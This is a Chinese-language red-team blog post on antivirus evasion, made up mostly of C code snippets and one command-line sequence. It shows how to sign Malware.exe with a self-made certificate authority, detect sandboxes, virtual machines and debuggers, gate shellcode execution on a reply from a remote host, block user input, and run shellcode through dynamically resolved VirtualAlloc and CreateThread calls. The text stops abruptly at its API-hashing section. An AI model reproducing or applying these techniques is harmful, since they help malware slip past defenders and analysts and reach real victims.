RedTeaming RedTeaming
首页
🤡Blog
🍓Marshal
  • 分类
  • 标签
  • 归档
GitHub

Wing

Less talk,More work!
首页
🤡Blog
🍓Marshal
  • 分类
  • 标签
  • 归档
GitHub
  • 安全开发

  • 渗透测试

  • 二进制安全

  • BypassAV

    • 基础知识

      • 免杀基础知识
        • 签名二进制文件
        • 更改依赖项
        • 动态查杀
          • WD有沙箱会对木马进行动态查杀,通过沙箱识别来进行绕过。
          • Mac地址
          • 虚拟设备检测
          • HDD Name
          • VM 特定文件和注册表检查
          • 文件名称被AV更改
          • 被父进程启动
          • 枚举调试工具抓包工具
          • 枚举每个进程的地址空间中加载的模块,并检查不需要的名称
          • 检查窗口名称,并将其与表示存在常见恶意软件分析工具的名称进行比较
          • check user name-computer name
          • 由于我们通常针对公司环境,因此我们可以假设用户的计算机是域的成员。让我们检查机器的域加入状态:
          • 分辨率检测
          • USB存储检测
          • 时区检测
          • 语言检测
        • 检测自动化分析
          • 网络连接
          • 用户交互
          • 最近文档数目
          • 进程数
          • 系统运行时间
          • 延迟执行
          • 内核用户共享数据
          • 函数Hook
        • 直接系统调用绕过 AV-ApiHook
        • 反调试
          • 通过检查代码中的更改来检测断点
          • 通过检查内存页权限来检测断点
          • 异常处理程序检测调试
          • 自调试
          • 执行时间
        • 为逆向工程师增加难度
          • 执行路径回调
          • TLS(线程本地存储)回调
          • 阻止用户输入-需要admin
        • 静态分析和混淆
          • PE
          • 更改hash
          • 通过动态WinAPI函数解析来隐藏导入
          • API Hashing
          • shellcode style
          • PE analysis
          • 熵分析
        • 编译选项
    • 自动化工具

  • 漏洞利用

  • 内网渗透

  • Blog
  • BypassAV
  • 基础知识
Wing
2021-03-26

免杀基础知识

# 免杀技巧

[TOC]

# 签名二进制文件

makecert -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
certutil -user -addstore Root MalwrCA.cer
makecert -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic MalwrCA.cer -iv MalwrCA.pvk -sv MalwrCert.pvk MalwrCert.cer
pvk2pfx -pvk MalwrCert.pvk -spc MalwrCert.cer -pfx MalwrCert.pfx
signtool sign /v /f MalwrCert.pfx /t http://timestamp.verisign.com/scripts/timstamp.dll Malware.exe
1
2
3
4
5

-w1630

-w1602

这几个工具在Windows SDK里面 -w839

# 更改依赖项

-w952

# 动态查杀

# WD有沙箱会对木马进行动态查杀,通过沙箱识别来进行绕过。

// check CPU
SYSTEM_INFO systemInfo;
GetSystemInfo(&systemInfo);
DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors;
if (numberOfProcessors < 2) return false;

// check RAM
MEMORYSTATUSEX memoryStatus;
memoryStatus.dwLength = sizeof(memoryStatus);
GlobalMemoryStatusEx(&memoryStatus);
DWORD RAMMB = memoryStatus.ullTotalPhys / 1024 / 1024;
if (RAMMB < 2048) return false;

// check HDD
HANDLE hDevice = CreateFileW(L"\\\\.\\PhysicalDrive0", 0, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
DISK_GEOMETRY pDiskGeometry;
DWORD bytesReturned;
DeviceIoControl(hDevice, IOCTL_DISK_GET_DRIVE_GEOMETRY, NULL, 0, &pDiskGeometry, sizeof(pDiskGeometry), &bytesReturned, (LPOVERLAPPED)NULL);
DWORD diskSizeGB;
diskSizeGB = pDiskGeometry.Cylinders.QuadPart * (ULONG)pDiskGeometry.TracksPerCylinder * (ULONG)pDiskGeometry.SectorsPerTrack * (ULONG)pDiskGeometry.BytesPerSector / 1024 / 1024 / 1024;
if (diskSizeGB < 100) return false;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

# Mac地址

DWORD adaptersListSize = 0;
GetAdaptersAddresses(AF_UNSPEC, 0, 0, 0, &adaptersListSize);
IP_ADAPTER_ADDRESSES* pAdaptersAddresses = (IP_ADAPTER_ADDRESSES*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, adaptersListSize);
if (pAdaptersAddresses)
{
	GetAdaptersAddresses(AF_UNSPEC, 0, 0, pAdaptersAddresses, &adaptersListSize);
	char mac[6] = { 0 };
	while (pAdaptersAddresses)
	{
		if (pAdaptersAddresses->PhysicalAddressLength == 6)
		{
			memcpy(mac, pAdaptersAddresses->PhysicalAddress, 6);
			if (!memcmp({ "\x08\x00\x27" }, mac, 3)) return false;
		}
	pAdaptersAddresses = pAdaptersAddresses->Next;
	}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 虚拟设备检测

OBJECT_ATTRIBUTES objectAttributes;
UNICODE_STRING uDeviceName;
RtlSecureZeroMemory(&uDeviceName, sizeof(uDeviceName));
RtlInitUnicodeString(&uDeviceName, L"\\Device\\VBoxGuest"); // or pipe: L"\\??\\pipe\\VBoxTrayIPC-<username>"
InitializeObjectAttributes(&objectAttributes, &uDeviceName, OBJ_CASE_INSENSITIVE, 0, NULL);
HANDLE hDevice = NULL;
IO_STATUS_BLOCK ioStatusBlock;
NTSTATUS status = NtCreateFile(&hDevice, GENERIC_READ, &objectAttributes, &ioStatusBlock, NULL, 0, 0, FILE_OPEN, 0, NULL, 0);
if (NT_SUCCESS(status)) return false;
1
2
3
4
5
6
7
8
9

# HDD Name

HDEVINFO hDeviceInfo = SetupDiGetClassDevs(&GUID_DEVCLASS_DISKDRIVE, 0, 0, DIGCF_PRESENT);
SP_DEVINFO_DATA deviceInfoData;
deviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);
SetupDiEnumDeviceInfo(hDeviceInfo, 0, &deviceInfoData);
DWORD propertyBufferSize;
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, NULL, 0, &propertyBufferSize);
PWSTR HDDName = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, propertyBufferSize);
SetupDiGetDeviceRegistryPropertyW(hDeviceInfo, &deviceInfoData, SPDRP_FRIENDLYNAME, NULL, (PBYTE)HDDName, propertyBufferSize, NULL);
CharUpperW(HDDName);
if (wcsstr(HDDName, L"VBOX")) return false;
1
2
3
4
5
6
7
8
9
10

# VM 特定文件和注册表检查

// check files
WIN32_FIND_DATAW findFileData;
if (FindFirstFileW(L"C:\\Windows\\System32\\VBox*.dll", &findFileData) != INVALID_HANDLE_VALUE) return false;

// check registry key
HKEY hkResult;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Services\\VBoxSF", 0, KEY_QUERY_VALUE, &hkResult) == ERROR_SUCCESS) return false;
1
2
3
4
5
6
7

# 文件名称被AV更改

wchar_t currentProcessPath[MAX_PATH + 1];
GetModuleFileNameW(NULL, currentProcessPath, MAX_PATH + 1);
CharUpperW(currentProcessPath);
if (!wcsstr(currentProcessPath, L"C:\\USERS\\PUBLIC\\")) return false;
if (!wcsstr(currentProcessPath, L"MALWARE.EXE")) return false;
1
2
3
4
5

# 被父进程启动

DWORD GetParentPID(DWORD pid)
{
	DWORD ppid = 0;
	PROCESSENTRY32W processEntry = { 0 };
	processEntry.dwSize = sizeof(PROCESSENTRY32W);
	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (Process32FirstW(hSnapshot, &processEntry))
	{
		do
		{
			if (processEntry.th32ProcessID == pid)
			{
				ppid = processEntry.th32ParentProcessID;
				break;
			}
		} while (Process32NextW(hSnapshot, &processEntry));
	}
	CloseHandle(hSnapshot);
	return ppid;
}

void main()
{
	DWORD parentPid = GetParentPID(GetCurrentProcessId());
	WCHAR parentName[MAX_PATH + 1];
	DWORD dwParentName = MAX_PATH;
	HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);
	QueryFullProcessImageNameW(hParent, 0, parentName, &dwParentName); // another way to get process name is to use 'Toolhelp32Snapshot'
	CharUpperW(parentName);
	if (wcsstr(parentName, L"WINDBG.EXE")) return;

	wprintf_s(L"Now hacking...\n");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# 枚举调试工具抓包工具

PROCESSENTRY32W processEntry = { 0 };
processEntry.dwSize = sizeof(PROCESSENTRY32W);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
WCHAR processName[MAX_PATH + 1];
if (Process32FirstW(hSnapshot, &processEntry))
{
do
{
	StringCchCopyW(processName, MAX_PATH, processEntry.szExeFile);
	CharUpperW(processName);
	if (wcsstr(processName, L"WIRESHARK.EXE")) exit(0);
} while (Process32NextW(hSnapshot, &processEntry));
}

wprintf_s(L"Now hacking...\n");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 枚举每个进程的地址空间中加载的模块,并检查不需要的名称

DWORD runningProcessesIDs[1024];
DWORD runningProcessesBytes;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesBytes);
for (int i = 0; i < runningProcessesBytes / sizeof(DWORD); i++)
{
	HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, runningProcessesIDs[i]);
	if (!hProcess) continue;
	HMODULE processModules[1024];
	DWORD processModulesBytes;
	int s1 = EnumProcessModules(hProcess, processModules, sizeof(processModules), &processModulesBytes);
	for (int j = 0; j < processModulesBytes / sizeof(HMODULE); j++)
	{
		WCHAR moduleName[MAX_PATH + 1];
		GetModuleFileNameExW(hProcess, processModules[j], moduleName, MAX_PATH);
		CharUpperW(moduleName);
		if (wcsstr(moduleName, L"DBGHELP.DLL")) exit(0);
	}
}

wprintf_s(L"Now hacking...\n");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# 检查窗口名称,并将其与表示存在常见恶意软件分析工具的名称进行比较

BOOL CALLBACK EnumWindowsProc(HWND hWindow, LPARAM parameter)
{
	WCHAR windowTitle[1024];
	GetWindowTextW(hWindow, windowTitle, sizeof(windowTitle));
	CharUpperW(windowTitle);
	if (wcsstr(windowTitle, L"SYSINTERNALS")) *(PBOOL)parameter = true;
	return true;
}

void main()
{
	bool debugged = false;
	EnumWindows(EnumWindowsProc, (LPARAM)(&debugged));
	if (debugged) return;

	wprintf_s(L"Now hacking...\n");
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# check user name-computer name

//check computer name
DWORD computerNameLength;
wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
GetComputerNameW(computerName, &computerNameLength);
CharUpperW(computerName);
if (wcsstr(computerName, L"DESKTOP-")) return false;

//check user name
DWORD userNameLength;
wchar_t userName[UNLEN + 1];
GetUserNameW(userName, &userNameLength);
CharUpperW(userName);
if (wcsstr(userName, L"ADMIN")) return false;
1
2
3
4
5
6
7
8
9
10
11
12
13

# 由于我们通常针对公司环境,因此我们可以假设用户的计算机是域的成员。让我们检查机器的域加入状态:

PWSTR domainName;
NETSETUP_JOIN_STATUS status;
NetGetJoinInformation(NULL, &domainName, &status);
if (status != NetSetupDomainName) return false;
1
2
3
4

# 分辨率检测

bool CALLBACK MyCallback(HMONITOR hMonitor, HDC hdcMonitor, LPRECT lpRect, LPARAM data)
{
	MONITORINFO monitorInfo;
	monitorInfo.cbSize = sizeof(MONITORINFO);
	GetMonitorInfoW(hMonitor, &monitorInfo);
	int xResolution = monitorInfo.rcMonitor.right - monitorInfo.rcMonitor.left;
	int yResolution = monitorInfo.rcMonitor.top - monitorInfo.rcMonitor.bottom;
	if (xResolution < 0) xResolution = -xResolution;
	if (yResolution < 0) yResolution = -yResolution;
	if ((xResolution != 1920 && xResolution != 2560 && xResolution != 1440)
		|| (yResolution != 1080 && yResolution != 1200 && yResolution != 1600 && yResolution != 900))
	{
		*((BOOL*)data) = true;
	}
	return true;
}

void main()
{
	MONITORENUMPROC pMyCallback = (MONITORENUMPROC)MyCallback;
	int xResolution = GetSystemMetrics(SM_CXSCREEN);
	int yResolution = GetSystemMetrics(SM_CYSCREEN);
	if (xResolution < 1000 && yResolution < 1000)  return false;

	int numberOfMonitors = GetSystemMetrics(SM_CMONITORS);
	bool sandbox = false;
	EnumDisplayMonitors(NULL, NULL, pMyCallback, (LPARAM)(&sandbox));
	if (sandbox) return;

	wprintf_s(L"Now hacking...\n");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# USB存储检测

HKEY hKey;
DWORD mountedUSBDevicesCount;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SYSTEM\\ControlSet001\\Enum\\USBSTOR", 0, KEY_READ, &hKey);
RegQueryInfoKey(hKey, NULL, NULL, NULL, &mountedUSBDevicesCount, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if (mountedUSBDevicesCount < 1) return false;
1
2
3
4
5

# 时区检测

SetThreadLocale(MAKELCID(MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US), SORT_DEFAULT));
DYNAMIC_TIME_ZONE_INFORMATION dynamicTimeZoneInfo;
GetDynamicTimeZoneInformation(&dynamicTimeZoneInfo);
wchar_t timeZoneName[128 + 1];
StringCchCopyW(timeZoneName, 128, dynamicTimeZoneInfo.TimeZoneKeyName);
CharUpperW(timeZoneName);
if (!wcsstr(timeZoneName, L"CENTRAL EUROPEAN STANDARD TIME")) return false;
1
2
3
4
5
6
7

# 语言检测


1

# 检测自动化分析

# 网络连接

HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"my.domain.or.ip", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
BOOL status = WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
if (!status) return false;
1
2
3
4
5
6

收到特定resp 执行shellcode

HINTERNET hSession = WinHttpOpen(L"Mozilla 5.0", WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
HINTERNET hConnection = WinHttpConnect(hSession, L"my.domain.or.ip", INTERNET_DEFAULT_HTTP_PORT, 0);
HINTERNET hRequest = WinHttpOpenRequest(hConnection, L"GET", L"test", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, NULL);
WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0);
WinHttpReceiveResponse(hRequest, 0);
DWORD responseLength;
WinHttpQueryDataAvailable(hRequest, &responseLength);
PVOID response = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, responseLength + 1);
WinHttpReadData(hRequest, response, responseLength, &responseLength);
if (atoi((PSTR)response) != 1337) return false;
1
2
3
4
5
6
7
8
9
10

# 用户交互

POINT currentMousePosition;
POINT previousMousePosition;
GetCursorPos(&previousMousePosition);
double mouseDistance = 0;
while (true)
{
	GetCursorPos(&currentMousePosition);
	mouseDistance += sqrt(
		pow(currentMousePosition.x - previousMousePosition.x, 2) +
		pow(currentMousePosition.y - previousMousePosition.y, 2)
	);
	Sleep(100);
	previousMousePosition = currentMousePosition;
	if (mouseDistance > 20000) break;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 最近文档数目

PWSTR recentFolder = NULL;
SHGetKnownFolderPath(FOLDERID_Recent, 0, NULL, &recentFolder);
wchar_t recentFolderFiles[MAX_PATH + 1] = L"";
StringCbCatW(recentFolderFiles, MAX_PATH, recentFolder);
StringCbCatW(recentFolderFiles, MAX_PATH, L"\\*");
int numberOfRecentFiles = 0;
WIN32_FIND_DATAW findFileData;
HANDLE hFind = FindFirstFileW(recentFolderFiles, &findFileData);
if (hFind != INVALID_HANDLE_VALUE)
{
	do
	{
		numberOfRecentFiles++;
	} while (FindNextFileW(hFind, &findFileData));
}
if (numberOfRecentFiles >= 2) numberOfRecentFiles-=2; //exclude '.' and '..'
if (numberOfRecentFiles < 20) return false;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 进程数

DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
if (runningProcessesCount < 50) return false;
1
2
3
4
5
6

# 系统运行时间

ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) return false; //20 minutes
1
2

# 延迟执行

ULONGLONG uptimeBeforeSleep = GetTickCount64();
typedef NTSTATUS(WINAPI *PNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
PNtDelayExecution pNtDelayExecution = (PNtDelayExecution)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDelayExecution");
LARGE_INTEGER delay;
delay.QuadPart = -10000 * 100000; // 100 seconds
pNtDelayExecution(FALSE, &delay);
ULONGLONG uptimeAfterSleep = GetTickCount64();
if ((uptimeAfterSleep - uptimeBeforeSleep) < 100000) return false;
1
2
3
4
5
6
7
8

# 内核用户共享数据

一些复杂的沙箱可能会同时钩住两个Sleep功能(甚至是内核模式ZwDelayExecution;但是,我认为如今,内核钩子需要管理程序级别的访问)和GetTickCount64(或内核模式KeQueryTickCount)。我们可以使用KUSER_SHARED_DATA系统内核与用户模式(当然是只读模式)共享的结构,其中包含有关“滴答计数”的信息。这种结构它始终位于存储器(0x7ffe0000)中的同一地址。实际的系统正常运行时间(KSYSTEM_TIME结构)存储在偏移量0x320中。我们可以从系统的内存中读取它,并用来检查与滴答计数相关的功能是否被沙箱操纵:(谷歌翻译)

Sleep(1000000);
ULONG *PUserSharedData_TickCountMultiplier = (PULONG)0x7ffe0004;
LONG *PUserSharedData_High1Time = (PLONG)0x7ffe0324;
ULONG *PUserSharedData_LowPart = (PULONG)0x7ffe0320;
DWORD time = GetTickCount64();
DWORD kernelTime = (*PUserSharedData_TickCountMultiplier) * (*PUserSharedData_High1Time << 8) +
	((*PUserSharedData_LowPart) * (unsigned __int64)(*PUserSharedData_TickCountMultiplier) >> 24);
if ((time - kernelTime) > 100 && (kernelTime - time) > 100) return false;
1
2
3
4
5
6
7
8

# 函数Hook

// manually load the dll
HANDLE dllFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dllFileSize = GetFileSize(dllFile, NULL);
HANDLE hDllFileMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
HANDLE pDllFileMappingBase = MapViewOfFile(hDllFileMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(dllFile);

// analyze the dll
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pDllFileMappingBase;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)pDllFileMappingBase + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pDllFileMappingBase + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)pDllFileMappingBase + pExportDirectory->AddressOfNameOrdinals);

// find the original function code
PVOID pNtCreateThreadExOriginal = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
	PCSTR pFunctionName = (PSTR)((PBYTE)pDllFileMappingBase + pAddressOfNames[i]);
	if (!strcmp(pFunctionName, "NtCreateThreadEx"))
	{
		pNtCreateThreadExOriginal = (PVOID)((PBYTE)pDllFileMappingBase + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
		break;
	}
}

// compare functions
PVOID pNtCreateThreadEx = GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx");
if (memcmp(pNtCreateThreadEx, pNtCreateThreadExOriginal, 16)) return false;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 直接系统调用绕过 AV-ApiHook

https://github.com/jthuraisamy/SysWhispers/

# 反调试

if (IsDebuggerPresent()) return;
	
// same check
PPEB pPEB = (PPEB)__readgsqword(0x60);
if (pPEB->BeingDebugged) return;
1
2
3
4
5
BOOL isDebuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent);
if (isDebuggerPresent) return;

// same check
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(IN  HANDLE, IN  PROCESSINFOCLASS, OUT PVOID, IN ULONG, OUT PULONG);
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");
DWORD64 isDebuggerPresent2 = 0;
pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPort, &isDebuggerPresent2, sizeof DWORD64, NULL);
if (isDebuggerPresent2) return;
1
2
3
4
5
6
7
8
9
10

# 通过检查代码中的更改来检测断点

#pragma comment(linker, "/INCREMENTAL:YES")

DWORD CalculateFunctionChecksum(PUCHAR functionStart, PUCHAR functionEnd)
{
	DWORD checksum = 0;
	while(functionStart < functionEnd)
	{
		checksum += *functionStart;
		functionStart++;
	}
	return checksum;
}
#pragma auto_inline(off)
VOID CrucialFunction()
{
	int x = 0;
	x += 2;
}
VOID AfterCrucialFunction()
{
};
#pragma auto_inline(on)

void main()
{
	DWORD originalChecksum = 3429;
	DWORD checksum = CalculateFunctionChecksum((PUCHAR)CrucialFunction, (PUCHAR)AfterCrucialFunction);
	if (checksum != originalChecksum) return;
	
	wprintf_s(L"Now hacking...\n");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

# 通过检查内存页权限来检测断点

BOOL debugged = false;

PSAPI_WORKING_SET_INFORMATION workingSetInfo;
QueryWorkingSet(GetCurrentProcess(), &workingSetInfo, sizeof workingSetInfo);
DWORD requiredSize = sizeof PSAPI_WORKING_SET_INFORMATION * (workingSetInfo.NumberOfEntries + 20);
PPSAPI_WORKING_SET_INFORMATION pWorkingSetInfo = (PPSAPI_WORKING_SET_INFORMATION)VirtualAlloc(0, requiredSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
BOOL s = QueryWorkingSet(GetCurrentProcess(), pWorkingSetInfo, requiredSize);
for (int i = 0; i < pWorkingSetInfo->NumberOfEntries; i++)
{
	PVOID physicalAddress = (PVOID)(pWorkingSetInfo->WorkingSetInfo[i].VirtualPage * 4096);
	MEMORY_BASIC_INFORMATION memoryInfo;
	VirtualQuery((PVOID)physicalAddress, &memoryInfo, sizeof memoryInfo);
	if (memoryInfo.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY))
	{
		if ((pWorkingSetInfo->WorkingSetInfo[i].Shared == 0) || (pWorkingSetInfo->WorkingSetInfo[i].ShareCount == 0))
		{
			debugged = true;
			break;
		}
	}
}

if (debugged) return;

wprintf_s(L"Now hacking...\n");
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# 异常处理程序检测调试

BOOL isDebugged = TRUE;

LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS pExceptionPointers)
{
	isDebugged = FALSE;
	return EXCEPTION_CONTINUE_EXECUTION;
}

void main()
{
	PTOP_LEVEL_EXCEPTION_FILTER previousUnhandledExceptionFilter = SetUnhandledExceptionFilter(CustomUnhandledExceptionFilter);
	RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
	SetUnhandledExceptionFilter(previousUnhandledExceptionFilter);
	if (isDebugged) return;

	wprintf_s(L"Now hacking...\n");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 自调试

if (!DebugActiveProcess(pid))
{
	HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
	TerminateProcess(hProcess, 0);
}
1
2
3
4
5

# 执行时间

我们可以检查某个指令块之前和之后的系统时间,并假设测得的经过时间应小于某个值。如果正在分析应用程序,则可能在该指令块中设置了断点。如果这样,执行时间将超过假定的时间段。

int t1 = GetTickCount64();
Hack(); // should take less than 5 seconds
int t2 = GetTickCount64();
if (((t2 - t1) / 1000) > 5) return; 

wprintf_s(L"Now hacking more...\n");
1
2
3
4
5
6

# 为逆向工程师增加难度

# 执行路径回调

VOID CALLBACK MyCallback(DWORD errorCode, DWORD bytesTransferred, POVERLAPPED pOverlapped)
{
	MessageBoxW(NULL, L"Catch me if you can", L"xD", 0);
}

void main()
{
	HANDLE hFile = CreateFileW(L"C:\\Windows\\win.ini", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
	PVOID fileBuffer = VirtualAlloc(0, 64, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	OVERLAPPED overlapped = {0};
	ReadFileEx(hFile, fileBuffer, 32, &overlapped, MyCallback);

	WaitForSingleObjectEx(hFile, INFINITE, true); // wait for the asynchronous operation to finish
	wprintf_s(L"Already pwned...\n");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# TLS(线程本地存储)回调

TLS(线程本地存储)回调是一种Windows机制,允许在进程以及线程启动和终止上执行任意代码。它可以用来在main功能(或其他入口点)之前运行一些反调试代码。但是,大多数调试器会自动在断点之前main(“系统断点”- ntdll.LdrpDoDebuggerBreak)甚至在回调的开头放置断点。无论如何,回调实现需要某些链接器指令:

void NTAPI TlsCallback(PVOID DllHandle, DWORD dwReason, PVOID)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		if (CheckIfDebugged()) exit(0);
	}
}

#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:tls_callback_function")

#pragma const_seg(".CRT$XLA")
EXTERN_C const PIMAGE_TLS_CALLBACK tls_callback_function = TlsCallback;
#pragma const_seg()

void main()
{
	wprintf_s(L"Now hacking...\n");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

# 阻止用户输入-需要admin

BlockInput(true);
1

# 静态分析和混淆

# PE

PE头包含了很多信息

headers, sections headers and content (code, resources etc.),
1

分析人员仅通过检查可执行文件(无需运行它)就可以提取大量有用的信息。这包括代码,导入的函数,硬编码的字符串和其他数据。

# 更改hash

  • 改图标
  • 加入版本信息

# 通过动态WinAPI函数解析来隐藏导入

导入地址表(IAT)存储有关应用程序使用的库和函数的信息。操作系统会在可执行文件启动时动态加载它们。非常方便(这正是Windows的工作方式),但是表内容可以提供许多有关程序功能的信息。例如存储器操作和线程操作功能(VirtualAlloc,VirtualProcect,CreateRemoteThread)可以指示该应用正在执行某种代码注入的。WSASocket通常由绑定外壳和反向外壳以及SetWindowsHookEx键盘记录程序使用。

为了隐藏这些信息(从静态分析中),我们可以动态地解析某些API函数。我们甚至可以使用syscalls(请参阅userland钩子规避)。现在,让我们仅使用GetModuleHandle获取要kernel32.dll加载到内存中的句柄,然后使用以下命令查找必要的功能GetProcAddress:

https://github.com/lucasg/Dependencies可以查看PE信息

typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);

void main()
{
	HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
	PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)GetProcAddress(hKernel32, "VirtualAlloc");
	PCreateThread funcCreateThread = (PCreateThread)GetProcAddress(hKernel32, "CreateThread");
	PWaitForSingleObject funcWaitForSingleObject = (PWaitForSingleObject)GetProcAddress(hKernel32, "WaitForSingleObject");

	unsigned char shellcode[] = "\\xfc\\x48\\x83 (...) ";
	PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(shellcode_exec, shellcode, sizeof shellcode);
	DWORD threadID;
	HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	funcWaitForSingleObject(hThread, INFINITE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# API Hashing

typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
